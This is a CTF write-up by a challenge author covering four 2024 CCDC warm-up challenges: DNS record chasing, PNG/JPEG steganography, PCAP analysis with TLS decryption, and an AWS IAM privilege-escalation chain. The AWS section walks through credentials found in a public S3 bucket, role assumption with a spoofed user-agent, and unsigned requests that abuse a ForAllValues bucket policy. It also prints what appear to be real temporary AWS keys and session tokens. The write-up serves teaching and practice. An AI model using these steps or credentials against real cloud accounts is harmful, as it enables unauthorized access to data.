Warning Spoilers!
Challenges
This writeup goes over the challenges created by the Black Team leading up to the 2024 Northeastern CCDC Competition.
There were a total of 4 challenges:
I also go into our thought process when making the challenges.
DNS
Finding the first layer is quite simple the TXT record of rust.energy
it can simply be found by running the dig command.
dig +short rust.energy TXT
# "9720ce90.rust.energy"
Following the domains we eventually get to the.real.flag.9720ce90.rust.energy
There is a TXT record for the domain which is the first flag FLAG{kubernetes:1.28:kubeadm}
There are other paths some of which container easter eggs and secrets 🤫. The following diagram shows all the paths
Finding the second flag is where it gets harder.
The record score.9720ce90.rust.energy
has a record that points to another level
dig +short score.9720ce90.rust.energy SRV
# 0 6 10 d5ea8518.rust.energy.
dig +short d5ea8518.rust.energy ANY
# "web.d5ea8518.rust.energy"
# "txt.d5ea8518.rust.energy"
The second layer (0 is the first layer) does not have any the.real.flag.X.rust.energy
or flags but the third layers domain can be found.
dig +short score.d5ea8518.rust.energy SRV
# 1 6 10 d19d6d0f.rust.energy.
dig +short score.d19d6d0f.rust.energy SRV
# 2 6 10 0e56b918.rust.energy.
dig +short score.0e56b918.rust.energy SRV
# 3 6 10 2a488eca.rust.energy.
dig +short score.2a488eca.rust.energy SRV
# 4 6 10 a63a0c9a.rust.energy.
dig +short score.a63a0c9a.rust.energy SRV
# 5 6 10 d0b518b4.rust.energy.
dig +short score.d0b518b4.rust.energy SRV
# 6 6 10 d98628ea.rust.energy.
dig +short score.d98628ea.rust.energy SRV
# 7 6 10 f1163f0d.rust.energy
When layer 6 (7th total layer) has been reached the service record shows 6 6 10
if you kept going you would eventually stop at layer 10 with it just returning 10 6 10 10.
.
Looking through layer 6 everything is the same except the flag.X.rust.energy returns a different answer.
dig +short flag.d0b518b4.rust.energy ANY
# "FLAG{containerd:nerdctl}"
The easier way than breaking my evil code is brute forcing every record and then searching for the flag pattern FLAG(*)
.
Steganography
This challenge was created by Andrew Iadevaia the 2024 black team lead.
Challenge was found at ctf.rust.energy with the intro sent out on the NECCDL Twitter and by email. The information from the snippet reveals that we have to investigate the image for hidden information and there are four flags.
Opening the image from the webpage its the logo of “Rust Energy” lets download it.
wget http://ctf.rust.energy/rust.png
Flag 1
Lets start by looking for any strings containing the flag
strings rust.png | grep FLAG
# h.boxes, self#jumbf=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions/actionsFLAG{Role:RSAT-DNS-Server:Role:FS-FileServer}=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions</stEvt:instanceID>
There we go FLAG{Role:RSAT-DNS-Server:Role:FS-FileServer}
We can also find it when looking through the images metadata with a tool such as exiftool.
exiftool rust.png
# ExifTool Version Number : 12.70
# File Name : rust.png
# File Size : 2.6 MB
# File Permissions : -rw-r--r--
# File Type : PNG
# File Type Extension : png
# MIME Type : image/png
# Image Width : 1024
# Image Height : 1024
# Bit Depth : 8
# Color Type : RGB
# Compression : Deflate/Inflate
# Filter : Adaptive
# Interlace : Noninterlaced
# Pixels Per Unit X : 3780
# Pixels Per Unit Y : 3780
# Pixel Units : meters
# XMP Toolkit : Image::ExifTool 12.65
# History Instance ID : self#jumbf=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions/c2pa.has.h.boxes, self#jumbf=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions/actionsFLAG{Role:RSAT-DNS-Server:Role:FS-FileServer}=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions
# Warning : [minor] Trailer data after PNG IEND chunk
# Image Size : 1024x1024
# Megapixels : 1.0
Flag 2
Looking at the file size and the image we have theres something off. Also in the exiftool dump there is a warning.
[minor] Trailer data after PNG IEND chunk
Looking into PNG IEND chunks led me to this document which led me to a PNG file signature document.
The first eight bytes of a PNG file always contain the following values:
(decimal) 137 80 78 71 13 10 26 10
(hexadecimal) 89 50 4e 47 0d 0a 1a 0a
(ASCII C notation) \211 P N G \r \n \032 \n
We should expect one header with those bytes. Running the tool xxd we can create a hexdump of the image.
xxd rust.png > rust.png.hex
Opening the file in an editor we see that its in the format: offset, hex, raw.
Lets search for the first eight bytes in hex
cat rust.png.hex | grep '8950 4e47 0d0a 1a0a'
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
0011f340: 3d0a 8950 4e47 0d0a 1a0a 0000 000d 4948 =..PNG........IH
Strange that it returns two, we expect only one. We’ll look into that later.
Opening the file rust.png.hex
and search for the IEND
this should be what ends the png file. Two IEND (Image END) are returned The representation in hex is 0000 0000 4945 4e44 ae42 6082
are the full IEND bytes for the image.
The file ends on offset 000f9270
and then the second PNG header starts at 0011f340
Line before the end of the PNG: 000f9260
Line after the start of the next PNG: 0011f350
xxd -s 0x000f9260 -l $((0x0011f350-0x000f9260+1)) rust.png > stripped.hex
xxd --plain -s 0x000f9260 -l $((0x0011f350-0x000f9260+1)) rust.png > stripped.plain.hex
Open the stripped.plain.hex
and remove any header bytes 8950 4e47 0d0a 1a0a
Remove the bytes 1bca47f2e20f0c70fcff0db083c38bc7e28f0000000049454e44ae426082
from the start and 89504e470d0a1a0a0000000d494844
from the end.
xxd -r -p stripped.plain.hex > unstripped.bin
file unstripped.bin
# unstripped.bin: ASCII text
When looking through the file it seems mostly random but a giveaway of what it is the last character =
some padding? Lets run the file through base64…
base64 -d < unstripped.bin > unstripped.b64.raw
file unstripped.b64.raw
# unstripped.b64.raw: JPEG image data, progressive, precision 8, 3000x2400, components 3
mv unstripped.b64.raw unstripped.jpg
Lets open the file up
Flag 3
This is a simple one
strings unstripped.jpg | grep FLAG
# FLAG{cross-forest trust}
Flag 4
Using what we know about the start of the second png in the first. offset 0011f340
xxd --plain -s 0x0011f340 rust.png > flag4.plain.hex
Open the file and remove everything before 89504e470d0a1a0a
(PNG magic bytes) (End up being just 3d0a
)
xxd -p -r flag4.plain.hex > flag4.bin
file flag4.bin
# flag4.bin: PNG image data, 1024 x 1024, 8-bit/color RGBA, non-interlaced
mv flag4.bin flag4.png
Opening the file we get a png of the 2024 NECCDL competition logo.
Lets look at the file in hex again
xxd flag4.png > flag4.hex
Looking through the hex dump of the file the end (offset 00152f90
) has some strange patterns
00152f90: 0603 8381 c1c0 6060 3030 1818 0c0c 0606 ......``00......
00152fa0: 0383 81c1 c060 6030 3018 180c 0c06 0603 .....``00.......
00152fb0: 8381 c1c0 6060 3030 1818 0c0c 0606 0383 ....``00........
00152fc0: 81c1 c060 6030 3018 180c 0c06 0603 8381 ...``00.........
00152fd0: c1c0 6060 3030 1818 0c0c 0606 0383 81c1 ..``00..........
00152fe0: c060 6030 3018 180c 0c06 0603 8381 c1c0 .``00...........
00152ff0: 6060 3030 1818 0c0c 0606 0383 81c1 c060 ``00...........`
00153000: 6030 3018 180c 0c06 0603 8381 c1c0 6060 `00...........``
00153010: 3030 1818 0c0c 0606 0383 81c1 c060 6030 00...........``0
00153020: 3018 180c 0c06 0603 8381 c1c0 6060 3030 0...........``00
00153030: 1818 0c0c 0606 0383 81c1 c060 6030 3018 ...........``00.
00153040: 180c 0c06 0603 8381 c1c0 6060 3030 1818 ..........``00..
00153050: 0c0c 0606 0383 81c1 c060 6030 3018 180c .........``00...
00153060: 0c06 0603 8381 c1c0 6060 3030 1818 0c0c ........``00....
00153070: 0606 0383 81c1 c060 6030 3018 180c 0c06 .......``00.....
00153080: 0603 8381 c1c0 6060 3030 1818 0c0c 0606 ......``00......
00153090: 0383 81c1 c060 6030 3018 180c 0c06 0603 .....``00.......
001530a0: 8381 c1c0 6060 3030 1818 0c0c 0606 0383 ....``00........
001530b0: 81c1 c060 6030 3018 180c 0c06 0603 8381 ...``00.........
Seems like some LSB stuff going on.
Running the image through an online tool (just found this, pretty cool) aperisolve.com
Thats the last flag!
FLAG{WinRM:CredSSP}
PCAP
This was another one of my ideas, sorry
The PCAP of the challenge can be found on the S3 website here. The challenge has three hidden flags
Flag 1
The first flag can be found in a request made to http://ctf.rust.energy/2/0242ac120002/login.html
When visiting the site in your browser its a login form with a image http://ctf.rust.energy/2/0242ac120002/logo.jpg
which says FLAG{FOOBAR}
in the format of a flag but not a flag duh.
In you follow the HTTP stream of the request to ctf.rust.energy
you can view the header of it pulling the request to pull the logo.jpg
HTTP/1.1 200 OK
x-amz-id-2: M6glIRq6MQkr9rGyRffgvkfFTRFHTFPeuMEB5xUdmp4JtDz7sg5FF2qHW3Svxv77LkgFguktayQ=
x-amz-request-id: QR3Z4Q11CGNBY2Q6
Date: Wed, 03 Jan 2024 15:58:27 GMT
Last-Modified: Wed, 03 Jan 2024 14:58:50 GMT
ETag: "55894795f8a73bb5efae4f9da2df9c51"
Content-Type: image/jpeg
Server: AmazonS3
Content-Length: 19905
Below it is a bunch of gibberish if your looking it as ASCII. Switch the view to RAW, we know its a file so we can look up the files magic number. It starts in ff d8 ff e0
, JPEG.
I found this tool online that can convert hex to an images: https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5
The image shows the flag FLAG{IdM:ipa:selfservice-mod}
Flag 2
The next flag is a little harder. If you noticed in the PCAP there is FTP data, the user logs into a server and downloads a file called foo.txt
Filter for the transfer with the ftp-data
search parameter. Looking at the data in ASCII its just a private key.
-----BEGIN PRIVATE KEY-----
MIIE...................................0hE=
-----END PRIVATE KEY-----
Same the file somewhere on your machine, in my case ~/Downloads/key.pem
. In Wireshark we can decrypt TLS packets if the key was used to encrypt them (TLS 1.2 and lower)
First we need to know what traffic is being sent over TLS in the PCAP, filter by tls
.
When looking at the sources there are four options:
172.22.0.3
35.183.229.204
185.27.134.55
172.22.0.2
When looking through the DNS queries we see which servers they relate to
- rust.energy -> 185.27.134.55
- neccdl.org -> 35.183.229.204
- The machine recording the packages -> 172.22.0.3
Filtering by ip.addr == 172.22.0.2
we can see some unencrypted traffic and TLS traffic.
Go to Wireshark Preferences -> Protocols -> TLS -> RSA keys list -> Edit -> Add a new entry
IP address | Port | Protocol | Key File | Password |
---|---|---|---|---|
172.22.0.2 | 443 | http | ~/Downloads/key.pem |
* leave blank* |
Now when following the TLS stream (tcp.stream eq 92
) we see there is HTTP protocols that show up.
Looking in the unencrypted body we find the second flag: FLAG{hashicorp:vault:1.15.1}
Flag 3
To find this flag you need to have been observant of what traffic is happening throughout the PCAP.
There are several DNS queries for XX.rust.energy
.
If the first to characters are converted from hex to ascii. The first packet is 46.rust.energy
, hex 46
in ascii is F
. Online tool
Repeating those steps for the next few packets we get the flag, but that takes a long time so I wrote a online bash command.
tshark -r challenge.pcap -Y "dns" | grep "No such name TXT" | awk '{print $NF}' | cut -c 1-2 | xxd -r -p
# FLAG{semaphore/project/{project_id}/keys}
Bam got the flag, easy
AWS
Another one out of the warehouse of my mind
We start with the URL http://web.rust.energy/ it shows beautiful website made my yours truly and mostly ChatGPT. You think I’m a web developer, I write this in markdown and then use hugo to make it look nice.
There is a hidden directory that is served by the S3 web server buts its easier to find since the bucket is public listable.
From an authenticated AWS CLI session.
aws s3 ls --no-sign-request s3://web.rust.energy
# PRE .aws/
# 2024-01-11 15:34:10 638 error.html
# 2024-01-11 15:34:10 1978 index.html
# 2024-01-11 11:24:39 1332900 skelington.jpg
# 2024-01-11 11:24:38 735 styles.css
aws s3 ls --no-sign-request s3://web.rust.energy/.aws/
# 2024-01-11 12:02:56 116 credentials
aws s3 cp --no-sign-request s3://web.rust.energy/.aws/credentials .
# download: s3://web.rust.energy/.aws/credentials to ./credentials
cat credentials
# [default]
# aws_access_key_id = AKIA....
# aws_secret_access_key = ..................
# aws_session_token = "Intentional game design"
Adding the flag --no-sign-request
bypasses the check if we have a valid AWS session. (example)
Alternatively you could find the .aws/credentials
directory through a brute force of all endpoints (gobuster)
Save the credentials to your local machine in a file ~/.aws/credentials
rename default to something more useful ccdc-challenge.
Now we can start to enumerate IAM permissions
export AWS_PROFILE=ccdc-challenge
aws sts get-caller-identity
# {
# "UserId": "AIDA3N23EV2TM7Z4WLIDW",
# "Account": "785633291942",
# "Arn": "arn:aws:iam::785633291942:user/challenge/jdoe"
# }
aws iam list-attached-user-policies --user-name jdoe
# No Perms
aws iam list-user-policies --user-name jdoe
# read_iam
aws iam get-user-policy --user-name jdoe --policy-name read_iam
aws iam list-group-policies --group-name developers
# {
# "PolicyNames": [
# "assume_developer_role"
# ]
# }
aws iam get-group-policy --group-name developers --policy-name assume_developer_role
# "Statement": [
# {
# "Action": "sts:AssumeRole",
# "Effect": "Allow",
# "Resource": "arn:aws:iam::785633291942:role/challenge/developerAccessRole"
# }
# ]
The user has the permissions to assume the role developerAccessRole
from the group it is in. Lets look at what permissions the role has access to.
aws iam list-role-policies --role-name developerAccessRole
aws iam get-role-policy --role-name developerAccessRole --policy-name access-secrets
# "Statement": [
# {
# "Action": [
# "secretsmanager:GetResourcePolicy",
# "secretsmanager:UntagResource",
# "secretsmanager:GetSecretValue",
# "secretsmanager:DescribeSecret",
# "secretsmanager:ListSecretVersionIds",
# "secretsmanager:TagResource"
# ],
# "Effect": "Allow",
# "Resource": "arn:aws:secretsmanager:us-east-2:785633291942:secret:challenge/*",
# "Sid": "VisualEditor0"
# },
# {
# "Action": "secretsmanager:ListSecrets",
# "Effect": "Allow",
# "Resource": "*",
# "Sid": "VisualEditor1"
# }
# ]
The role is able to list secrets and retrieve secrets on the path challenge/*
. Lets now assume the credentials
aws sts assume-role --role-arn arn:aws:iam::785633291942:role/challenge/developerAccessRole --role-session-name dev-role
In a new shell export the credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=.......
export AWS_SESSION_TOKEN=...................
Flag 1
aws secretsmanager list-secrets --region us-east-2
# "ARN": "arn:aws:secretsmanager:us-east-2:785633291942:secret:challenge/credentials-Eg8L6m"
# "Name": "challenge/credentials"
# "SecretVersionsToStages": {
# "05BCF1E3-E1F2-4C2A-B21E-D5410DFF3CA6": [
# "AWSPREVIOUS"
# ],
# "8C8D12BD-956D-44D2-8D71-7E17B462AB72": [
# "AWSCURRENT"
# ]
# }
aws secretsmanager get-secret-value --region us-east-2 --secret-id challenge/credentials
# "SecretString": "{\"data\":\"FLAG{}\"}"
Hmmm, no flag
Looking back at the output of the list-secrets command it shows two version
aws secretsmanager get-secret-value --region us-east-2 --secret-id challenge/credentials --version-stage AWSPREVIOUS
# "SecretString": "{\"data\":\"FLAG{wazuh-agent_4.7.1-1}\"}"
Flag 2
This one is a little harder…
Before we found the inline policy access-secrets
on the role developerAccessRole
which gave access to view secrets.
Looking at the attached managed policies.
aws iam get-role --role-name developerAccessRole
aws iam list-attached-role-policies --role-name developerAccessRole
# {
# "AttachedPolicies": [
# {
# "PolicyName": "assume_role_policy",
# "PolicyArn": "arn:aws:iam::785633291942:policy/challenge/assume_role_policy"
# }
# ]
# }
Lets look what permissions that policy grants
aws iam get-policy --policy-arn arn:aws:iam::785633291942:policy/challenge/assume_role_policy
aws iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::785633291942:policy/challenge/assume_role_policy
# {
# "Action": "sts:AssumeRole",
# "Effect": "Allow",
# "Resource": "arn:aws:iam::785633291942:role/challenge/object_manager"
# }
Nice its another role to assume.
Lets look at what the role object_manager
lets us do.
aws iam list-attached-role-policies --role-name object_manager
# None []
aws iam list-role-policies --role-name object_manager
# access-s3
aws iam get-role-policy --role-name object_manager --policy-name access-s3
# {
# "RoleName": "object_manager",
# "PolicyName": "access-s3",
# "PolicyDocument": {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Action": [
# "s3:GetObjectAcl",
# "s3:GetObjectAttributes",
# "s3:GetObjectTagging",
# "s3:ListBucket",
# "s3:GetBucketAcl",
# "s3:GetBucketPolicy",
# "s3:GetObjectVersion"
# ],
# "Effect": "Allow",
# "Resource": "arn:aws:s3:::challenge-object-store",
# "Sid": "VisualEditor0"
# }
# ]
# }
# }
It allows us to view the objects in a S3 bucket challenge-object-store
. Lets now assume the role.
aws sts assume-role --role-arn arn:aws:iam::785633291942:role/challenge/object_manager --role-session-name obj-mgmt-role
# An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::785633291942:assumed-role/challenge/developerAccessRole/dev-role is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::785633291942:role/challenge/object_manager
Hmmm why? Lets look at the Trust Policy on the role to see what is allowed to assume it.
aws iam get-role --role-name object_manager
# "AssumeRolePolicyDocument": {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Sid": "",
# "Effect": "Allow",
# "Principal": {
# "AWS": "arn:aws:iam::785633291942:role/challenge/developerAccessRole"
# },
# "Action": "sts:AssumeRole",
# "Condition": {
# "StringEquals": {
# "aws:UserAgent": "AWS-SDK",
# "sts:RoleSessionName": "DeveloperGrantedAccess"
# }
# }
# }
# ]
# }
We need some way to set the user agent to be AWS-SDK
and have the session name set to DeveloperGrantedAccess
.
Unluckily for use we cannot set a user agent with the AWS CLI, so were going to need something else.
This can be done through an app like Insomnia or a Boto3 Python script to make https requests to AWS.
The curl tool supports AWS authentication.
The URL contains the session name DeveloperGrantedAccess
and specifies the role were trying to get credentials for.
curl "https://sts.amazonaws.com/?Action=AssumeRole&RoleSessionName=DeveloperGrantedAccess&RoleArn=arn:aws:iam::785633291942:role/challenge/object_manager&DurationSeconds=3600&Version=2011-06-15" \
--user "$AWS_ACCESS_KEY_ID": "$AWS_SECRET_ACCESS_KEY" \
--header "x-amz-security-token: $AWS_SESSION_TOKEN" \
--user-agent "AWS-SDK" \
--aws-sigv4 "aws:amz:us-east-1:sts"
The following python script could also work to assume the object_manager
role.
import requests
import boto3
from botocore.awsrequest import AWSRequest
from botocore.auth import SigV4Auth
request = AWSRequest(
method="GET",
url="https://sts.amazonaws.com/?Action=AssumeRole&RoleSessionName=DeveloperGrantedAccess&RoleArn=arn%3Aaws%3Aiam%3A%3A785633291942%3Arole%2Fchallenge%2Fobject_manager&DurationSeconds=3600&Version=2011-06-15",
headers={
'Host': 'sts.amazonaws.com',
'User-Agent': 'AWS-SDK'
})
session = boto3.session.Session(
aws_access_key_id = 'ASIA3N23EV2TLAZSGN44',
aws_secret_access_key = '+PuLX6e5xOHAONvbJsaXMLS/cbuuXqGn0GzKhkzD',
aws_session_token = 'FwoGZXIvYXdzEJ3//////////wEaDEXsgKBjjY8Eti0olyK6AeIk+3wcTAte9uGMthiXxgC1jzQLZR0QXN0fcz4nKqPXvJZWP1o4KYdAbOrbe1xgkqVtOZnvZAf0GFZ8r0TeLvyMB96DPKM084MsvBryb2VgaJ/ibo1JvXO7IaiIy3yVrnNk4GhsU2Zk810o6+qcRXHku4kB28g+4fjZVuHd2C5fOuWgBwwisO6mB6lwWPm8uQWlMxVcOXZ/Rq9B6fFN31o/OD6m2gwIrKCwde1IYSWaWOovtEnKyhynjCiLi4GtBjIt+R+vcgjIOjyofcgE21o6WaPESQp+EzXF0AZCre8oXaI8edkPkfFx+gx/kLte'
)
credentials = session.get_credentials()
botocore_creds = credentials.get_frozen_credentials()
SigV4Auth(
credentials=botocore_creds,
service_name="sts",
region_name="us-east-1",
).add_auth(request)
signed_headers = request.headers
print(request.headers)
response = requests.request(
method=request.method,
url=request.url,
headers=dict(request.headers)
)
print(response.text)
From the XML output get the credentials
export AWS_ACCESS_KEY_ID=ASIA3N23EV2TDNNM77G5
export AWS_SECRET_ACCESS_KEY=LRjTSEco0oQv+wfNro4mSUxMpLSBuAqbp4fo26r7
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEJ3//////////wEaDGHjSzvjJ1KjdzdpuCK6ARIgzo5UsvPsHkwpxVS5E1z3Uh5czOSrPK2ddwU9hT6xEqHXIv9FI8cOyvpmOmv5SOxmDDQuazWSxSqTBL7d6ULXoQhCE/i2u9m4YlmO5rYz+ErT8JeBPfkt1940cs0sA/sqXgSiJsP/HVlzYO4AopSQYH+BNMvvL6SkGEKRQUdxciihuTB9iaZ1FF+/WoZOP/ZHeUEnZrl+fAmqBgEIIXTS+9vGFyJMbBdagufpFSnQ8cewYh3cVVoVcyjWkYGtBjItrxD9xR6Uo2zY/sKguLxMp3oLHpN3JqGu3vesiSYMP0JZ22Z1B4x2dQQmI6fz
aws s3 ls challenge-object-store
# PRE files/
aws s3 ls challenge-object-store/files/
# 2024-01-11 15:03:17 6 FLAG
aws s3 cp s3://challenge-object-store/files/FLAG .
# fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
Thats because we don’t have permissions to get the object right?…
aws s3api get-bucket-policy --bucket challenge-object-store
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::challenge-object-store/*",
"Condition": {
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::785633291942:user/admin"
}
}
}
]
}
Looking at the bucket policy it allows use to assume the role if were the admin user.
The use of ForAllValues is insecure here.
AWS recommends that you use the ForAllValues only with multivalued conditions. The ForAllValues set operator tests whether the value of every member of the request set is a subset of the condition key set. The condition returns true if every key value in the request matches at least one value in the policy. It also returns true if there are no keys in the request, or if the key values resolve to a null data set, such as an empty string.
So if it does not have a valid key aws:PrincipalArn
it will resolve tru
If we add --no-sign-request
to the AWS request.
A Boolean switch that disables signing the HTTP requests to the AWS service endpoint. This prevents credentials from being loaded.
aws s3 cp s3://challenge-object-store/files/FLAG . --no-sign-request
# download: s3://challenge-object-store/files/FLAG to ./FLAG
cat FLAG
# FLAG{OpenSSH_for_Windows_7.7p1-LibreSSL:2.6.5}
Creation
This section is going to go over some of the methodologies and tools used to create the scenarios. This year black team decided to create some challenges/CTFs to leak some of the material in the qualifiers environment early since we introduced some “new” technology (K8s, Identity, Vault).
I was thinking of making a challenges based around Kubernetes but I through that would be to cruel.
DNS
Started out as a simple dns setup, then I went crazy and made whatever this was. Of the four this is my least favorite, does not feel completed / multi-staged. This was also our first and we were not sure if we could continue to do them.
PCAP
Built in a docker container to prevent local traffic from getting caught up in the capture.
AWS
All deployed through Infrastructure as Code to allow easy creation and removal.
For the second part build it around a challenge I saw in when playing through the Big IAM Challenge. I have a writeup here AWS IAM CTF.
I have a good amount of background with AWS and creating/playing challenges.